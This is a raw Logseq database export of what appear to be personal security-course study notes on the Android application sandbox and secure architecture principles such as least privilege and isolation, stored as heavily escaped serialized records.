Idealogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Flogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874672]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^Jlogseq____&quot;,[],536874672]],[logseq____&quot;^15logseq____&quot;,[209,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9e6a-4898-af0c-f2c468356ce0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Apps *share memory locations* of shared libraries, e.g., core libslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Flogseq____&quot;,200,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Vlogseq____&quot;,200,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[210,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b9e2-414e-b590-3773e3d6d081logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Installed apps have separate `UID` and `GID`(group ID) ($logseq____&gt; 10.000$ vs *predefined* UIDs for code Android apps and services)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Flogseq____&quot;,184,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[211,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7f71-4062-9d74-435d2658c449logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Exhausting process limit for UID causes this to faillogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Flogseq____&quot;,195,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Vlogseq____&quot;,196,536870916]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Ulogseq____&quot;,2,536874667]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Ulogseq____&quot;,38,536874667]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^Ulogseq____&quot;,183,536874667]],[logseq____&quot;^15logseq____&quot;,[212,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-05fa-4a06-b00e-fe7977add1a4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Application Process Internals #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Flogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874672]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Jlogseq____&quot;,[],536874672]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Hlogseq____&quot;,2,536874672]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^Hlogseq____&quot;,38,536874672]],[logseq____&quot;^15logseq____&quot;,[213,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-14f9-4cee-bb52-0797e7ae4e02logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Utilize Linuxlogseq____&apos; *discretionary* file access control (owner can change permissions and ownership)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Flogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Vlogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[214,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-6547-4f3e-a4d7-1e987dad0e35logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*DWM/ART* is not a security boundary (can be circumvented with native code)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Flogseq____&quot;,208,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Vlogseq____&quot;,213,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[215,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9deb-451b-b440-4b2ec0cb8ceflogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Use of *UID* (user ID, assigned per application on installation)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Flogseq____&quot;,186,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[216,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-11ec-42e6-a800-781a4492c9f1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Private App Directory #card #security-architecture\\nid:: 67b74d96-f668-44e4-83c6-0760487f0281logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Flogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b74d96-f668-44e4-83c6-0760487f0281logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874672]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b74d96-f668-44e4-83c6-0760487f0281logseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Hlogseq____&quot;,2,536874672]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^Hlogseq____&quot;,38,536874672]],[logseq____&quot;^15logseq____&quot;,[217,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b74d96-f668-44e4-83c6-0760487f0281logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Disclosing these locations allows for exploits circumventing ASLRlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Flogseq____&quot;,210,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Vlogseq____&quot;,200,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[218,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-77d1-41e4-b718-ca22ffdcb399logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## IOS Comparisonlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Flogseq____&quot;,199,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874672]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^Jlogseq____&quot;,[],536874672]],[logseq____&quot;^15logseq____&quot;,[219,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c597-49cb-b2d9-b6e6c93298e6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Until Android 10, process of the same app (process attribute in the [[Application Manifest]] ) allowed for sharing their sandbox (only if signed with same developer key)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Flogseq____&quot;,211,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Vlogseq____&quot;,201,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^Hlogseq____&quot;,28,536874672]],[logseq____&quot;^15logseq____&quot;,[220,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-404a-4890-a061-7d54fb480a5alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Storage Options for Apps #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Flogseq____&quot;,217,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Vlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874672]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Jlogseq____&quot;,[],536874672]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Hlogseq____&quot;,2,536874672]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^Hlogseq____&quot;,38,536874672]],[logseq____&quot;^15logseq____&quot;,[221,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-bf29-4c66-bb27-522478e6aae5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Give control flow to VM process\\nlogseq.order-list-type:: numberlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Flogseq____&quot;,188,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Vlogseq____&quot;,207,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^19logseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536874672]],[logseq____&quot;^15logseq____&quot;,[222,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9867-43f2-9c8b-0e2116e863b0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Application sandbox specifies which system resources the application is allowed to accesslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Flogseq____&quot;,209,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Xlogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Vlogseq____&quot;,209,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[223,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e2da-4af7-919e-4a2d13a302a3logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;secure architecture principleslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^11logseq____&quot;,logseq____&quot;Secure Architecture Principleslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[225,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-2fa1-490b-ae48-026bbcae22d2logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Satisfy trust assumptions using validated propertieslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Flogseq____&quot;,233,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Vlogseq____&quot;,233,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[226,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-569f-4f6e-8a09-21ff8a8ff5c9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Security must be usablelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Flogseq____&quot;,254,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Vlogseq____&quot;,254,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[227,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7fc3-4bfe-8586-2c403ae1ede8logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Secure, fail-safe defaultslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Flogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[228,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-8a78-4620-b6bc-aa184da1b8f0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Virtual Machineslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Flogseq____&quot;,235,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Vlogseq____&quot;,244,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[229,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b861-41c7-b9ec-9916fe80acb6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Fine-grained privileges allow for isolated [modules]((67b73d61-146d-41b7-88c1-bfe2f62977c9))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Flogseq____&quot;,232,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Vlogseq____&quot;,234,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[230,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c863-43c0-986d-9779c3b473d8logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Isolationlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Flogseq____&quot;,247,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[231,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c651-475c-bdd8-c4d029c4dbc7logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Privilege as ability to access/modify a resourcelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Flogseq____&quot;,246,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Vlogseq____&quot;,234,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[232,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-2649-4f4a-9787-c8eb33c4beeblogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Minimize Trust - Maximize Trustworthinesslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Flogseq____&quot;,243,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^Jlogseq____&quot;,[],536874675]],[logseq____&quot;^15logseq____&quot;,[233,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-fe13-48c5-a8cc-874ed7ad7e1elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Least Privilege\\nid:: 67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Flogseq____&quot;,249,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536874675]],[logseq____&quot;^15logseq____&quot;,[234,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ 